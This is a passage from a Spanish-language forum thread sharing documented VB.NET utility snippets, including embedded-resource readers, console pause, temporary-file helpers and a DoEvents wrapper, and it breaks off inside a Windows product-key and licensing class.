  173.    ''' ----------------------------------------------------------------------------------------------------
  174.    ''' <summary>
  175.    ''' Formats a resource name.
  176.    ''' </summary>
  177.    ''' ----------------------------------------------------------------------------------------------------
  178.    ''' <param name="name">
  179.    ''' The name of the resource.
  180.    ''' </param>
  181.    '''
  182.    ''' <param name="ass">
  183.    ''' The assembly that contains the resource.
  184.    ''' </param>
  185.    ''' ----------------------------------------------------------------------------------------------------
  186.    ''' <returns>
  187.    ''' The resulting formatted resource name.
  188.    ''' </returns>
  189.    ''' ----------------------------------------------------------------------------------------------------
  190.    Private Shared Function FormatResourceName(ByVal name As String, ByVal ass As Assembly) As String
  191.  
  192.        Return String.Format("{0}.{1}", ass.GetName().Name, name.Replace(" ", "_").
  193.                                                                 Replace("\", ".").
  194.                                                                 Replace("/", "."))
  195.  
  196.    End Function
  197.  
  198. End Class

Ejemplo de uso para la aplicación actual:
Código
  1. Dim data As Byte() = GetEmbeddedResource("file.txt")
  2. Dim dataAsString As String = Encoding.Default.GetString(data)
  3.  
  4. Dim str As String = GetEmbeddedResourceAsString("file.txt", Encoding.Default)
  5.  
  6. Dim img As Image = GetEmbeddedResourceAsImage("file.png")

Ejemplo de uso con un ensamblado específico:
Código
  1. Dim data As Byte() = GetEmbeddedResource("file.txt", Assembly.GetCallingAssembly())
  2. Dim dataAsString As String = Encoding.Default.GetString(data)
  3.  
  4. Dim str As String = GetEmbeddedResourceAsString("file.txt", Assembly.GetCallingAssembly(), Encoding.Default)
  5.  
  6. Dim img As Image = GetEmbeddedResourceAsImage("file.png", Assembly.GetCallingAssembly())



Todas estas funcionalidades y muchísimas más las podrán encontrar en mi Framework ElektroKit.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2017, 12:50 pm
Pausar la ejecución de la consola hasta que se pulse cierta tecla...

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Pause the console execution Indefinitely until any key is pressed.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. <DebuggerStepThrough>
  7. Public Shared Sub Pause()
  8.    Console.ReadKey(intercept:=True)
  9. End Sub
  10.  
  11. ''' ----------------------------------------------------------------------------------------------------
  12. ''' <summary>
  13. ''' Pause the console execution Indefinitely until the specified key is pressed.
  14. ''' </summary>
  15. ''' ----------------------------------------------------------------------------------------------------
  16. ''' <param name="key">
  17. ''' The key to wait for.
  18. ''' </param>
  19. ''' ----------------------------------------------------------------------------------------------------
  20. <DebuggerStepThrough>
  21. Public Shared Sub Pause(ByVal key As Keys)
  22.  
  23.    Dim keyInfo As ConsoleKeyInfo
  24.  
  25.    Do Until (keyInfo.Key = key)
  26.        keyInfo = Console.ReadKey(intercept:=True)
  27.    Loop
  28.  
  29. End Sub

Modo de empleo:
Código
  1. Console.WriteLine("Press any key to exit...")
  2. Pause()
  3. Environment.Exit(0)

Código
  1. Dim key As Keys = Keys.Enter
  2. Dim keyName As String = [Enum].GetName(GetType(Keys), key)
  3.  
  4. Console.WriteLine(String.Format("Press '{0}' key to continue...", keyName))
  5. Pause(key)
  6. Console.WriteLine("Well done.")


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 29 Abril 2017, 20:00 pm
Un puñado de funciones para extender las posibilidades de la función built-in System.IO.Path.GetTempFileName()

Modo de empleo:

Código
  1. Dim tmpFile1 As FileInfo = GetTempFile()
  2. Dim tmpFile2 As FileInfo = GetTempFile("txt")
  3. Dim tmpFile3 As FileInfo = GetTempFile(SpecialFolder.LocalApplicationData)
  4. Dim tmpFile4 As FileInfo = GetTempFile(SpecialFolder.LocalApplicationData, "txt")
  5. Dim tmpFile5 As FileInfo = GetTempFile(New DirectoryInfo("C:\Folder\"))
  6. Dim tmpFile6 As FileInfo = GetTempFile(New DirectoryInfo("C:\Folder\"), "txt")
  7. Dim tmpFile7 As FileInfo = GetTempFile("C:\Folder\", "txt")

Código
  1. Dim tmpFilePath1 As String = GetTempFileName()
  2. Dim tmpFilePath2 As String = GetTempFileName("txt")
  3. Dim tmpFilePath3 As String = GetTempFileName(SpecialFolder.LocalApplicationData)
  4. Dim tmpFilePath4 As String = GetTempFileName(SpecialFolder.LocalApplicationData, "txt")
  5. Dim tmpFilePath5 As String = GetTempFileName(New DirectoryInfo("C:\Folder\"))
  6. Dim tmpFilePath6 As String = GetTempFileName(New DirectoryInfo("C:\Folder\"), "txt")
  7. Dim tmpFilePath7 As String = GetTempFileName("C:\Folder\", "txt")

Código fuente:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Creates a uniquely named, zero-byte temporary file on the system's default temporary folder
  4. ''' and returns the file.
  5. ''' </summary>
  6. ''' ----------------------------------------------------------------------------------------------------
  7. ''' <example> This is a code example.
  8. ''' <code>
  9. ''' Dim tmpFile As FileInfo = GetTempFile()
  10. ''' Console.WriteLine(tmpFile.FullName)
  11. ''' </code>
  12. ''' </example>
  13. ''' ----------------------------------------------------------------------------------------------------
  14. ''' <returns>
  15. ''' The resulting <see cref="FileInfo"/>.
  16. ''' </returns>
  17. ''' ----------------------------------------------------------------------------------------------------
  18. <DebuggerStepThrough>
  19. Public Shared Function GetTempFile() As FileInfo
  20.  
  21.    Return New FileInfo(Path.GetTempFileName())
  22.  
  23. End Function
  24.  
  25. ''' ----------------------------------------------------------------------------------------------------
  26. ''' <summary>
  27. ''' Creates a uniquely named, zero-byte temporary file on the specified folder
  28. ''' and returns the file.
  29. ''' </summary>
  30. ''' ----------------------------------------------------------------------------------------------------
  31. ''' <example> This is a code example.
  32. ''' <code>
  33. ''' Dim tmpFile As FileInfo = GetTempFile(SpecialFolder.LocalApplicationData)
  34. ''' Console.WriteLine(tmpFile.FullName)
  35. ''' </code>
  36. ''' </example>
  37. ''' ----------------------------------------------------------------------------------------------------
  38. ''' <param name="folder">
  39. ''' The folder where to create the temporary file.
  40. ''' </param>
  41. ''' ----------------------------------------------------------------------------------------------------
  42. ''' <returns>
  43. ''' The resulting <see cref="FileInfo"/>.
  44. ''' </returns>
  45. ''' ----------------------------------------------------------------------------------------------------
  46. <DebuggerStepThrough>
  47. Public Shared Function GetTempFile(ByVal folder As SpecialFolder) As FileInfo
  48.  
  49.    Return GetTempFile(Environment.GetFolderPath(folder), "tmp")
  50.  
  51. End Function
  52.  
  53. ''' ----------------------------------------------------------------------------------------------------
  54. ''' <summary>
  55. ''' Creates a uniquely named, zero-byte temporary file on the specified folder
  56. ''' and returns the file.
  57. ''' </summary>
  58. ''' ----------------------------------------------------------------------------------------------------
  59. ''' <example> This is a code example.
  60. ''' <code>
  61. ''' Dim tmpFile As FileInfo = GetTempFile(New DirectoryInfo("C:\Folder\"))
  62. ''' Console.WriteLine(tmpFile.FullName)
  63. ''' </code>
  64. ''' </example>
  65. ''' ----------------------------------------------------------------------------------------------------
  66. ''' <param name="dir">
  67. ''' The folder where to create the temporary file.
  68. ''' </param>
  69. ''' ----------------------------------------------------------------------------------------------------
  70. ''' <returns>
  71. ''' The resulting <see cref="FileInfo"/>.
  72. ''' </returns>
  73. ''' ----------------------------------------------------------------------------------------------------
  74. <DebuggerStepThrough>
  75. Public Shared Function GetTempFile(ByVal dir As DirectoryInfo) As FileInfo
  76.  
  77.    Return GetTempFile(dir.FullName, "tmp")
  78.  
  79. End Function
  80.  
  81. ''' ----------------------------------------------------------------------------------------------------
  82. ''' <summary>
  83. ''' Creates a uniquely named, zero-byte temporary file on the system's default temporary folder with the specified file extension
  84. ''' and returns the file.
  85. ''' </summary>
  86. ''' ----------------------------------------------------------------------------------------------------
  87. ''' <example> This is a code example.
  88. ''' <code>
  89. ''' Dim tmpFile As FileInfo = GetTempFile("txt")
  90. ''' Console.WriteLine(tmpFile.FullName)
  91. ''' </code>
  92. ''' </example>
  93. ''' ----------------------------------------------------------------------------------------------------
  94. ''' <param name="extension">
  95. ''' The file extension to assign to the temporary file.
  96. ''' </param>
  97. ''' ----------------------------------------------------------------------------------------------------
  98. ''' <returns>
  99. ''' The resulting <see cref="FileInfo"/>.
  100. ''' </returns>
  101. ''' ----------------------------------------------------------------------------------------------------
  102. ''' <exception cref="ArgumentNullException">
  103. ''' extension
  104. ''' </exception>
  105. ''' ----------------------------------------------------------------------------------------------------
  106. <DebuggerStepThrough>
  107. Public Shared Function GetTempFile(ByVal extension As String) As FileInfo
  108.  
  109.    Return GetTempFile(Environment.GetFolderPath(SpecialFolder.LocalApplicationData), extension)
  110.  
  111. End Function
  112.  
  113. ''' ----------------------------------------------------------------------------------------------------
  114. ''' <summary>
  115. ''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
  116. ''' and returns the file.
  117. ''' </summary>
  118. ''' ----------------------------------------------------------------------------------------------------
  119. ''' <example> This is a code example.
  120. ''' <code>
  121. ''' Dim tmpFile As FileInfo = GetTempFile(SpecialFolder.LocalApplicationData, "txt")
  122. ''' Console.WriteLine(tmpFile.FullName)
  123. ''' </code>
  124. ''' </example>
  125. ''' ----------------------------------------------------------------------------------------------------
  126. ''' <param name="folder">
  127. ''' The folder where to create the temporary file.
  128. ''' </param>
  129. '''
  130. ''' <param name="extension">
  131. ''' The file extension to assign to the temporary file.
  132. ''' </param>
  133. ''' ----------------------------------------------------------------------------------------------------
  134. ''' <returns>
  135. ''' The resulting <see cref="FileInfo"/>.
  136. ''' </returns>
  137. ''' ----------------------------------------------------------------------------------------------------
  138. ''' <exception cref="ArgumentNullException">
  139. ''' extension
  140. ''' </exception>
  141. ''' ----------------------------------------------------------------------------------------------------
  142. <DebuggerStepThrough>
  143. Public Shared Function GetTempFile(ByVal folder As SpecialFolder, ByVal extension As String) As FileInfo
  144.  
  145.    Return GetTempFile(Environment.GetFolderPath(folder), extension)
  146.  
  147. End Function
  148.  
  149. ''' ----------------------------------------------------------------------------------------------------
  150. ''' <summary>
  151. ''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
  152. ''' and returns the file.
  153. ''' </summary>
  154. ''' ----------------------------------------------------------------------------------------------------
  155. ''' <example> This is a code example.
  156. ''' <code>
  157. ''' Dim tmpFile As FileInfo = GetTempFile(New DirectoryInfo("C:\Folder\"), "txt")
  158. ''' Console.WriteLine(tmpFile.FullName)
  159. ''' </code>
  160. ''' </example>
  161. ''' ----------------------------------------------------------------------------------------------------
  162. ''' <param name="dir">
  163. ''' The folder where to create the temporary file.
  164. ''' </param>
  165. '''
  166. ''' <param name="extension">
  167. ''' The file extension to assign to the temporary file.
  168. ''' </param>
  169. ''' ----------------------------------------------------------------------------------------------------
  170. ''' <returns>
  171. ''' The resulting <see cref="FileInfo"/>.
  172. ''' </returns>
  173. ''' ----------------------------------------------------------------------------------------------------
  174. ''' <exception cref="ArgumentNullException">
  175. ''' extension
  176. ''' </exception>
  177. ''' ----------------------------------------------------------------------------------------------------
  178. <DebuggerStepThrough>
  179. Public Shared Function GetTempFile(ByVal dir As DirectoryInfo, ByVal extension As String) As FileInfo
  180.  
  181.    Return GetTempFile(dir.FullName, extension)
  182.  
  183. End Function
  184.  
  185. ''' ----------------------------------------------------------------------------------------------------
  186. ''' <summary>
  187. ''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
  188. ''' and returns the file.
  189. ''' </summary>
  190. ''' ----------------------------------------------------------------------------------------------------
  191. ''' <example> This is a code example.
  192. ''' <code>
  193. ''' Dim tmpFile As FileInfo = GetTempFile("C:\Folder\", "txt")
  194. ''' Console.WriteLine(tmpFile.FullName)
  195. ''' </code>
  196. ''' </example>
  197. ''' ----------------------------------------------------------------------------------------------------
  198. ''' <param name="dirPath">
  199. ''' The full path of the folder where to create the temporary file.
  200. ''' </param>
  201. '''
  202. ''' <param name="extension">
  203. ''' The file extension to assign to the temporary file.
  204. ''' </param>
  205. ''' ----------------------------------------------------------------------------------------------------
  206. ''' <returns>
  207. ''' The resulting <see cref="FileInfo"/>.
  208. ''' </returns>
  209. ''' ----------------------------------------------------------------------------------------------------
  210. ''' <exception cref="ArgumentNullException">
  211. ''' dirPath or extension
  212. ''' </exception>
  213. ''' ----------------------------------------------------------------------------------------------------
  214. <DebuggerStepThrough>
  215. Public Shared Function GetTempFile(ByVal dirPath As String, ByVal extension As String) As FileInfo
  216.  
  217.    If String.IsNullOrWhiteSpace(dirPath) Then
  218.        Throw New ArgumentNullException("dirPath")
  219.  
  220.    ElseIf String.IsNullOrWhiteSpace(extension) Then
  221.        Throw New ArgumentNullException("extension")
  222.  
  223.    Else
  224.        Dim dir As New DirectoryInfo(dirPath)
  225.        If Not (dir.Exists) Then
  226.            Try
  227.                dir.Create()
  228.            Catch ex As Exception
  229.                Throw
  230.                Return Nothing
  231.            End Try
  232.        End If
  233.  
  234.        Dim tmpFile As FileInfo = Nothing
  235.        Dim newFilePath As String
  236.        Dim defaultFolderPath As String = Environment.GetFolderPath(SpecialFolder.LocalApplicationData)
  237.        Dim defaultFileExtension As String = "tmp"
  238.        Do
  239.            If (tmpFile IsNot Nothing) AndAlso (tmpFile.Exists) Then
  240.                tmpFile.Delete()
  241.            End If
  242.            tmpFile = New FileInfo(Path.GetTempFileName())
  243.  
  244.            If Not (dir.FullName.Equals(defaultFolderPath, StringComparison.OrdinalIgnoreCase)) Then
  245.                newFilePath = Path.Combine(dir.FullName, tmpFile.Name)
  246.            Else
  247.                newFilePath = tmpFile.FullName
  248.            End If
  249.  
  250.            If Not (extension.Equals(defaultFileExtension, StringComparison.OrdinalIgnoreCase)) Then
  251.                newFilePath = Path.ChangeExtension(newFilePath, extension)
  252.            End If
  253.  
  254.        Loop Until (newFilePath.Equals(tmpFile.FullName, StringComparison.OrdinalIgnoreCase)) OrElse Not File.Exists(newFilePath)
  255.  
  256.        tmpFile.MoveTo(newFilePath)
  257.        tmpFile.Refresh()
  258.  
  259.        Return tmpFile
  260.  
  261.    End If
  262.  
  263. End Function
  264.  
  265. ''' ----------------------------------------------------------------------------------------------------
  266. ''' <summary>
  267. ''' Creates a uniquely named, zero-byte temporary file on the system's default temporary folder
  268. ''' and returns the file path.
  269. ''' </summary>
  270. ''' ----------------------------------------------------------------------------------------------------
  271. ''' <example> This is a code example.
  272. ''' <code>
  273. ''' Dim tmpFile As String = GetTempFileName()
  274. ''' Console.WriteLine(tmpFile)
  275. ''' </code>
  276. ''' </example>
  277. ''' ----------------------------------------------------------------------------------------------------
  278. ''' <returns>
  279. ''' The full path of the temporary file.
  280. ''' </returns>
  281. ''' ----------------------------------------------------------------------------------------------------
  282. <DebuggerStepThrough>
  283. Public Shared Function GetTempFileName() As String
  284.  
  285.    Return Path.GetTempFileName()
  286.  
  287. End Function
  288.  
  289. ''' ----------------------------------------------------------------------------------------------------
  290. ''' <summary>
  291. ''' Creates a uniquely named, zero-byte temporary file on the specified folder
  292. ''' and returns the file path.
  293. ''' </summary>
  294. ''' ----------------------------------------------------------------------------------------------------
  295. ''' <example> This is a code example.
  296. ''' <code>
  297. ''' Dim tmpFile As String = GetTempFileName(SpecialFolder.LocalApplicationData)
  298. ''' Console.WriteLine(tmpFile)
  299. ''' </code>
  300. ''' </example>
  301. ''' ----------------------------------------------------------------------------------------------------
  302. ''' <param name="folder">
  303. ''' The folder where to create the temporary file.
  304. ''' </param>
  305. ''' ----------------------------------------------------------------------------------------------------
  306. ''' <returns>
  307. ''' The full path of the temporary file.
  308. ''' </returns>
  309. ''' ----------------------------------------------------------------------------------------------------
  310. <DebuggerStepThrough>
  311. Public Shared Function GetTempFileName(ByVal folder As SpecialFolder) As String
  312.  
  313.    Return GetTempFile(Environment.GetFolderPath(folder), "tmp").FullName
  314.  
  315. End Function
  316.  
  317. ''' ----------------------------------------------------------------------------------------------------
  318. ''' <summary>
  319. ''' Creates a uniquely named, zero-byte temporary file on the specified folder
  320. ''' and returns the file path.
  321. ''' </summary>
  322. ''' ----------------------------------------------------------------------------------------------------
  323. ''' <example> This is a code example.
  324. ''' <code>
  325. ''' Dim tmpFile As String = GetTempFileName(New DirectoryInfo("C:\Folder\"))
  326. ''' Console.WriteLine(tmpFile)
  327. ''' </code>
  328. ''' </example>
  329. ''' ----------------------------------------------------------------------------------------------------
  330. ''' <param name="dir">
  331. ''' The folder where to create the temporary file.
  332. ''' </param>
  333. ''' ----------------------------------------------------------------------------------------------------
  334. ''' <returns>
  335. ''' The full path of the temporary file.
  336. ''' </returns>
  337. ''' ----------------------------------------------------------------------------------------------------
  338. <DebuggerStepThrough>
  339. Public Shared Function GetTempFileName(ByVal dir As DirectoryInfo) As String
  340.  
  341.    Return GetTempFile(dir.FullName, "tmp").FullName
  342.  
  343. End Function
  344.  
  345. ''' ----------------------------------------------------------------------------------------------------
  346. ''' <summary>
  347. ''' Creates a uniquely named, zero-byte temporary file on the system's default temporary folder with the specified file extension
  348. ''' and returns the file path.
  349. ''' </summary>
  350. ''' ----------------------------------------------------------------------------------------------------
  351. ''' <example> This is a code example.
  352. ''' <code>
  353. ''' Dim tmpFile As String = GetTempFileName("txt")
  354. ''' Console.WriteLine(tmpFile)
  355. ''' </code>
  356. ''' </example>
  357. ''' ----------------------------------------------------------------------------------------------------
  358. ''' <param name="extension">
  359. ''' The file extension to assign to the temporary file.
  360. ''' </param>
  361. ''' ----------------------------------------------------------------------------------------------------
  362. ''' <returns>
  363. ''' The full path of the temporary file.
  364. ''' </returns>
  365. ''' ----------------------------------------------------------------------------------------------------
  366. ''' <exception cref="ArgumentNullException">
  367. ''' extension
  368. ''' </exception>
  369. ''' ----------------------------------------------------------------------------------------------------
  370. <DebuggerStepThrough>
  371. Public Shared Function GetTempFileName(ByVal extension As String) As String
  372.  
  373.    Return GetTempFile(Environment.GetFolderPath(SpecialFolder.LocalApplicationData), extension).FullName
  374.  
  375. End Function
  376.  
  377. ''' ----------------------------------------------------------------------------------------------------
  378. ''' <summary>
  379. ''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
  380. ''' and returns the file path.
  381. ''' </summary>
  382. ''' ----------------------------------------------------------------------------------------------------
  383. ''' <example> This is a code example.
  384. ''' <code>
  385. ''' Dim tmpFile As String = GetTempFileName(SpecialFolder.LocalApplicationData, "txt")
  386. ''' Console.WriteLine(tmpFile)
  387. ''' </code>
  388. ''' </example>
  389. ''' ----------------------------------------------------------------------------------------------------
  390. ''' <param name="folder">
  391. ''' The folder where to create the temporary file.
  392. ''' </param>
  393. '''
  394. ''' <param name="extension">
  395. ''' The file extension to assign to the temporary file.
  396. ''' </param>
  397. ''' ----------------------------------------------------------------------------------------------------
  398. ''' <returns>
  399. ''' The full path of the temporary file.
  400. ''' </returns>
  401. ''' ----------------------------------------------------------------------------------------------------
  402. ''' <exception cref="ArgumentNullException">
  403. ''' extension
  404. ''' </exception>
  405. ''' ----------------------------------------------------------------------------------------------------
  406. <DebuggerStepThrough>
  407. Public Shared Function GetTempFileName(ByVal folder As SpecialFolder, ByVal extension As String) As String
  408.  
  409.    Return GetTempFile(Environment.GetFolderPath(folder), extension).FullName
  410.  
  411. End Function
  412.  
  413. ''' ----------------------------------------------------------------------------------------------------
  414. ''' <summary>
  415. ''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
  416. ''' and returns the file path.
  417. ''' </summary>
  418. ''' ----------------------------------------------------------------------------------------------------
  419. ''' <example> This is a code example.
  420. ''' <code>
  421. ''' Dim tmpFile As String = GetTempFileName(New DirectoryInfo("C:\Folder\"), "txt")
  422. ''' Console.WriteLine(tmpFile)
  423. ''' </code>
  424. ''' </example>
  425. ''' ----------------------------------------------------------------------------------------------------
  426. ''' <param name="dir">
  427. ''' The folder where to create the temporary file.
  428. ''' </param>
  429. '''
  430. ''' <param name="extension">
  431. ''' The file extension to assign to the temporary file.
  432. ''' </param>
  433. ''' ----------------------------------------------------------------------------------------------------
  434. ''' <returns>
  435. ''' The full path of the temporary file.
  436. ''' </returns>
  437. ''' ----------------------------------------------------------------------------------------------------
  438. ''' <exception cref="ArgumentNullException">
  439. ''' extension
  440. ''' </exception>
  441. ''' ----------------------------------------------------------------------------------------------------
  442. <DebuggerStepThrough>
  443. Public Shared Function GetTempFileName(ByVal dir As DirectoryInfo, ByVal extension As String) As String
  444.  
  445.    Return GetTempFile(dir.FullName, extension).FullName
  446.  
  447. End Function
  448.  
  449. ''' ----------------------------------------------------------------------------------------------------
  450. ''' <summary>
  451. ''' Creates a uniquely named, zero-byte temporary file on the specified folder with the specified file extension
  452. ''' and returns the file path.
  453. ''' </summary>
  454. ''' ----------------------------------------------------------------------------------------------------
  455. ''' <example> This is a code example.
  456. ''' <code>
  457. ''' Dim tmpFile As String = GetTempFileName("C:\Folder\", "txt")
  458. ''' Console.WriteLine(tmpFile)
  459. ''' </code>
  460. ''' </example>
  461. ''' ----------------------------------------------------------------------------------------------------
  462. ''' <param name="dirPath">
  463. ''' The full path of the folder where to create the temporary file.
  464. ''' </param>
  465. '''
  466. ''' <param name="extension">
  467. ''' The file extension to assign to the temporary file.
  468. ''' </param>
  469. ''' ----------------------------------------------------------------------------------------------------
  470. ''' <returns>
  471. ''' The full path of the temporary file.
  472. ''' </returns>
  473. ''' ----------------------------------------------------------------------------------------------------
  474. ''' <exception cref="ArgumentNullException">
  475. ''' dirPath or extension
  476. ''' </exception>
  477. ''' ----------------------------------------------------------------------------------------------------
  478. <DebuggerStepThrough>
  479. Public Shared Function GetTempFileName(ByVal dirPath As String, ByVal extension As String) As String
  480.  
  481.    Return GetTempFile(dirPath, extension).FullName
  482.  
  483. End Function
  484.  


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 6 Mayo 2017, 14:05 pm
Método Application.DoEvents() perfeccionado

Muchos programadores de VB.NET a veces se encuentran en un escenario de programación en el que deben realizar una operación asincrónica, pero en lugar de implementar el modo correcto de programación asincrónica suelen llamar al método Application.DoEvents() con la intención de esperar a que dicha operación asincrónica termine y evitar el bloqueo en el hilo de la interfáz gráfica. Esto se suele hacer decorando la llamada a dicho método usando un búcle, por ejemplo:

Código
  1. Do While (condición)
  2.     Application.DoEvents()
  3. Loop

Sin embargo, hacer llamadas consecutivas a dicho método en un tiempo de intervalo demasiado corto (como en el búcle de arriba) causará un exceso muy importante de consumo de recursos en el equipo, puesto que basicamente lo que hace el método Application.DoEvents() es recibir, procesar, y despachar todos los mensajes pendientes en la cola, y no lo hace de forma selectiva, así que se procesan todos los mensajes de entrada/input, de dibujado/paint, los eventos, y etc, una y otra vez.

El método Application.DoEvents() tiene un propósito muy distinto del que realmente se le suele dar, y hay muchas formas de evitar tener que usar dicho método, pero no entraremos en esos temas ahora. Lo que explicaré será como poder mejorar el rendimiento y la responsabilidad de nuestra aplicación en un 90% al usar el método Application.DoEvents() cuando se le pretenda dar el uso que se ha explicado al principio.

Puesto que el método Application.DoEvents() se suele utilizar para aumentar la respuesta de la UI en una iteración intensiva, lo más apropiado para aumentar el rendimiento sería comprobar si existen mensajes de entrada (teclado o ratón) en la cola de mensajes del hilo de la UI antes de llamar a Application.DoEvents(). Y para ello existe una función Win32 a la que podemos recurrir presicamente para obtener un valor que nos diga si hay mensajes que se deban procesar o no los hay. La función se llama GetInputState, y en fin, todo esto que acabo de explicar quedaría implementado así:

Código
  1. ''' <summary>
  2. ''' Determines whether there are mouse-button or keyboard messages in the calling thread's message queue.
  3. ''' </summary>
  4. ''' <remarks>
  5. ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms644935(v=vs.85).aspx"/>
  6. ''' </remarks>
  7. ''' <returns>
  8. ''' If the queue contains one or more new mouse-button or keyboard messages, the return value is <see langword="True"/>.
  9. ''' <para></para>
  10. ''' If there are no new mouse-button or keyboard messages in the queue, the return value is <see langword="False"/>.
  11. ''' </returns>
  12. <SuppressUnmanagedCodeSecurity>
  13. <DllImport("user32.dll", SetLastError:=False)>
  14. Private Shared Function GetInputState() As <MarshalAs(UnmanagedType.Bool)> Boolean
  15. End Function
  16.  
  17. ''' <summary>
  18. ''' Processes all Windows messages currently in the message queue of the application.
  19. ''' <para></para>
  20. ''' This method greatly boosts the performance of any application in difference to <see cref="Application.DoEvents()"/> method.
  21. ''' <para></para>
  22. ''' When calling <see cref="Application.DoEvents()"/> to make the UI responsive, it generally decreases application performance;
  23. ''' <para></para>
  24. ''' however, using this method, we make sure there is at least one input event (keyboard or mouse) that needs to be processed before internally calling <see cref="Application.DoEvents()"/>.
  25. ''' </summary>
  26. Public Shared Sub DoEvents()
  27.    If GetInputState() Then
  28.        Global.System.Windows.Forms.Application.DoEvents()
  29.    End If
  30. End Sub

Modo de empleo:
Código
  1. Do While True
  2.     DoEvents()
  3. Loop


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 1 Junio 2017, 17:51 pm
¿Cómo obtener la clave de producto instalada en Windows, o instalar un archivo de licencia, o una clave de producto de Windows, y como desinstalar la clave o eliminarla del registro de Windows?.

He desarrollado la siguiente clase para poder efectuar algunas operacioens básicas de licencia y activación en Windows, como instalar un archivo de licencia, obtener la clave de producto instalada en Windows, instalar una nueva  clave de producto de Windows, desinstalarla o eliminarla del registro de Windows (tal como hace la herramienta slmgr.vbs /cpky de Microsoft).

Lo he probado en Windows 10 x64, sin problemas. En teoría debería funcionar desde Windows 7 para adelante, y versiones Windows Server desde la 2008 R2 para adelante.

Todo el código fuente está documentado y además los miembros incluyen ejemplos de uso documentados, no creo que haga falta explicar mucho más.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 01-June-2017
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Properties "
  9.  
  10. ' ProductId As String
  11. ' ProductKey As String
  12.  
  13. #End Region
  14.  
  15. #Region " Methods "
  16.  
  17. ' InstallLicense(String)
  18. ' InstallLicense(FileInfo)
  19.  
  20. ' InstallProductKey(String)
  21.  
  22. ' UninstallProductKey()
  23.  
  24. ' RemoveProductKeyFromRegistry()
  25.  
  26. ' RefreshLicenseStatus()
  27.  
  28. #End Region
  29.  
  30. #End Region
  31.  
  32. #Region " Option Statements "
  33.  
  34. Option Strict On
  35. Option Explicit On
  36. Option Infer Off
  37.  
  38. #End Region
  39.  
  40. #Region " Imports "
  41.  
  42. Imports Microsoft.Win32
  43.  
  44. Imports System.IO
  45. Imports System.Management
  46. Imports System.Runtime.InteropServices
  47.  
  48. ' Imports Elektro.Core.Types
  49.  
  50. #End Region
  51.  
  52. #Region " Licensing Util "
  53.  
  54. ' Namespace Tools.Shell
  55.  
  56.    ''' ----------------------------------------------------------------------------------------------------
  57.    ''' <summary>
  58.    ''' Contains Windows licensing related utilities.
  59.    ''' </summary>
  60.    ''' ----------------------------------------------------------------------------------------------------
  61.    Public NotInheritable Class Licensing ' : Inherits AestheticObject
  62.  
  63. #Region " Constructors "
  64.  
  65.        ''' ----------------------------------------------------------------------------------------------------
  66.        ''' <summary>
  67.        ''' Prevents a default instance of the <see cref="Licensing"/> class from being created.
  68.        ''' </summary>
  69.        ''' ----------------------------------------------------------------------------------------------------
  70.        <DebuggerNonUserCode>
  71.        Private Sub New()
  72.        End Sub
  73.  
  74. #End Region
  75.  
  76. #Region " Properties "
  77.  
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        ''' <summary>
  80.        ''' Gets the Windows product identifier of the current operating system.
  81.        ''' </summary>
  82.        ''' ----------------------------------------------------------------------------------------------------
  83.        ''' <example> This is a code example.
  84.        ''' <code>
  85.        ''' Dim productId As String = ProductId()
  86.        ''' Console.WriteLine(productId)
  87.        ''' </code>
  88.        ''' </example>
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        ''' <value>
  91.        ''' The Windows product identifier.
  92.        ''' </value>
  93.        ''' ----------------------------------------------------------------------------------------------------
  94.        Public Shared ReadOnly Property ProductId As String
  95.            <DebuggerStepThrough>
  96.            Get
  97.                Return Licensing.GetWindowsProductId()
  98.            End Get
  99.        End Property
  100.  
  101.        ''' ----------------------------------------------------------------------------------------------------
  102.        ''' <summary>
  103.        ''' Gets the Windows product key of the current operating system.
  104.        ''' <para></para>
  105.        ''' Note that the value could be <see langword="Nothing"/> in case of the product key was
  106.        ''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
  107.        ''' </summary>
  108.        ''' ----------------------------------------------------------------------------------------------------
  109.        ''' <remarks>
  110.        ''' Credits to: <see href="https://github.com/mrpeardotnet/WinProdKeyFinder"/>
  111.        ''' </remarks>
  112.        ''' ----------------------------------------------------------------------------------------------------
  113.        ''' <example> This is a code example.
  114.        ''' <code>
  115.        ''' Dim productKey As String = ProductKey()
  116.        ''' Console.WriteLine(productKey)
  117.        ''' </code>
  118.        ''' </example>
  119.        ''' ----------------------------------------------------------------------------------------------------
  120.        ''' <value>
  121.        ''' The Windows product key, or <see langword="Nothing"/> in case of the product key was
  122.        ''' completely removed from the Windows Registry (eg. using tools like <c>slmgr.vbs /cpky</c>).
  123.        ''' </value>
  124.        ''' ----------------------------------------------------------------------------------------------------
  125.        Public Shared ReadOnly Property ProductKey As String
  126.            <DebuggerStepThrough>
  127.            Get
  128.                Return Licensing.GetWindowsProductKey()
  129.            End Get
  130.        End Property
  131.  
  132. #End Region
  133.  
  134. #Region " Public Methods "
  135.  
  136.        ''' ----------------------------------------------------------------------------------------------------
  137.        ''' <summary>
  138.        ''' Installs a Windows license on the current operating system.
  139.        ''' </summary>
  140.        ''' ----------------------------------------------------------------------------------------------------
  141.        ''' <remarks>
  142.        ''' <see href="https://msdn.microsoft.com/en-us/library/cc534589(v=vs.85).aspx"/>
  143.        ''' </remarks>
  144.        ''' ----------------------------------------------------------------------------------------------------
  145.        ''' <example> This is a code example.
  146.        ''' <code>
